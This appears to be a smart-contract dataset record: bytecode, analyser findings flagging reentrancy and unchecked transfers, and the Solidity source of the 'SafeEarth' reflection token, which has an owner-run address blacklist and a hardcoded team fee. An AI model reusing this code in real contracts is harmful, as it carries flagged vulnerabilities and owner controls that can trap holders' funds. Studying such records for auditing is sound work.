8015260a08701526080860152606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6007805461ff0019166101001790554761195d82612110565b60006119698247612822565b60155460135460145492935060009261198291906128a0565b61198c91906128a0565b9050600081601160020154846119a291906129c8565b6119ac9190612839565b9050600082601160030154856119c291906129c8565b6119cc9190612839565b9050600083601160040154866119e291906129c8565b6119ec9190612839565b90508215611a0a57600e54611a0a906001600160a01b03168461228f565b8115611a2657600f54611a26906001600160a01b03168361228f565b8015611a4257601054611a42906001600160a01b03168261228f565b50506007805461ff00191690555050505050565b6000611a6283836118a7565b6001600160a01b03861660009081526005602052604090205490915060ff1615611ac4576001600160a01b038516600090815260026020526040902054611aaa908490612822565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff1615611b275760e08101516001600160a01b038516600090815260026020526040902054611b0d91906128a0565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b038616600090815260016020526040902054611b4c9190612822565b6001600160a01b0380871660009081526001602090815260408083209490945584015191871681529190912054611b8391906128a0565b6001600160a01b0385166000908152600160205260409081902091909155810151151580611bb657506000816101000151115b15611bce57611bce81604001518261010001516123ad565b60008160a001511180611be657506000816101600151115b15611bfe57611bfe8160a001518261016001516123e2565b600081608001511180611c1657506000816101400151115b15611c2e57611c2e8160800151826101400151612458565b60008160c001511180611c4657506000816101800151115b15611c5e57611c5e8160c0015182610180015161246d565b600081606001511180611c7657506000816101200151115b15611ce357611c8e8160600151826101200151612482565b61dead6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151604051611cda91815260200190565b60405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e00151604051611d2c91815260200190565b60405180910390a3306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101400151846101800151856101600151611d8591906128a0565b611d8f91906128a0565b60405190815260200160405180910390a35050505050565b600a546009546000918291825b600654811015611ef957826001600060068481548110611dd657611dd661285b565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611e415750816002600060068481548110611e1a57611e1a61285b565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611e5757600a54600954945094505050509091565b6001600060068381548110611e6e57611e6e61285b565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611e9d9084612822565b92506002600060068381548110611eb657611eb661285b565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611ee59083612822565b915080611ef181612887565b915050611db4565b50600954600a54611f0a9190612839565b821015611f2157600a546009549350935050509091565b90939092509050565b611f32612553565b81611f435760e0810183905261086a565b601154606490611f5390856129c8565b611f5d9190612839565b610100820152601254606490611f7390856129c8565b611f7d9190612839565b610120820152601354606490611f9390856129c8565b611f9d9190612839565b610140820152601454606490611fb390856129c8565b611fbd9190612839565b610160820152601554606490611fd390856129c8565b611fdd9190612839565b61018082018190526101608201516101408301516101208401516101008501516120079088612822565b6120119190612822565b61201b9190612822565b6120259190612822565b61202f9190612822565b60e082015292915050565b600080808080808061204c888b6129c8565b96508861206a57508594506000935083925082915081905080612102565b878b610100015161207b91906129c8565b9450878b610120015161208e91906129c8565b9350878b61014001516120a191906129c8565b9250878b61016001516120b491906129c8565b9150878b61018001516120c791906129c8565b9050808284866120d7898c612822565b6120e19190612822565b6120eb9190612822565b6120f59190612822565b6120ff9190612822565b95505b949950949992975094509450565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121455761214561285b565b60200260200101906001600160a01b031690816001600160a01b031681525050600760029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121dc91906129e7565b816001815181106121ef576121ef61285b565b6001600160a01b03928316602091820292909201015260075461221b9130916201000090041684611377565b60075460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790612259908590600090869030904290600401612a04565b600060405180830381600087803b15801561227357600080fd5b505af1158015612287573d6000803e3d6000fd5b505050505050565b804710156122df5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161089a565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461232c576040519150601f19603f3d011682016040523d82523d6000602084013e612331565b606091505b50509050806123a85760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161089a565b505050565b81600a60008282546123bf9190612822565b9091555050601680548291906000906123d99084906128a0565b90915550505050565b80601660030160008282546123f791906128a0565b90915550503060009081526005602052604090205460ff16156124395730600090815260026020526040812080548392906124339084906128a0565b90915550505b30600090815260016020526040812080548492906123d99084906128a0565b80601660020160008282546123f791906128a0565b80601660040160008282546123f791906128a0565b806016600101600082825461249791906128a0565b909155505061dead60005260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460ff16156125155761dead600090815260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc805483929061250f9084906128a0565b90915550505b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d80548492906123d99084906128a0565b604051806101a00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208083528351808285015260005b818110156125e8578581018301518582016040015282016125cc565b818111156125fa576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461137457600080fd5b6000806040838503121561263857600080fd5b823561264381612610565b946020939093013593505050565b60008060006060848603121561266657600080fd5b833561267181612610565b9250602084013561268181612610565b9150604084013561269181612610565b809150509250925092565b6000806000606084860312156126b157600080fd5b83356126bc81612610565b925060208401356126cc81612610565b929592945050506040919091013590565b6000602082840312156126ef57600080fd5b5035919050565b60006020828403121561270857600080fd5b8135610a1081612610565b6000806040838503121561272657600080fd5b823561273181612610565b9150602083013561274181612610565b809150509250929050565b801515811461137457600080fd5b6000806040838503121561276d57600080fd5b8235915060208301356127418161274c565b600080600080600060a0868803121561279757600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000602082840312156127cc57600080fd5b8135610a108161274c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156128345761283461280c565b500390565b60008261285657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b6000600182016128995761289961280c565b5060010190565b600082198211156128b3576128b361280c565b500190565b6000602082840312156128ca57600080fd5b8151610a108161274c565b600181815b808511156129105781600019048211156128f6576128f661280c565b8085161561290357918102915b93841c93908002906128da565b509250929050565b6000826129275750600161086a565b816129345750600061086a565b816001811461294a576002811461295457612970565b600191505061086a565b60ff8411156129655761296561280c565b50506001821b61086a565b5060208310610133831016604e8410600b8410161715612993575081810a61086a565b61299d83836128d5565b80600019048211156129b1576129b161280c565b029392505050565b6000610a1060ff841683612918565b60008160001904831182151516156129e2576129e261280c565b500290565b6000602082840312156129f957600080fd5b8151610a1081612610565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612a545784516001600160a01b031683529383019391830191600101612a2f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220087554b3b690470c9ca6a64d53d09fe9b0b368d996fe7b5285ea433861d2ebc264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,619 |
0xfcb2b2e7548e06817f45db67a72bb23de08b9547
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SafeEarth is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Safe Earth ";
string private constant _symbol = " SafeEarth ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600c81526020017f2053616665204561727468200000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f2053616665456172746820000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750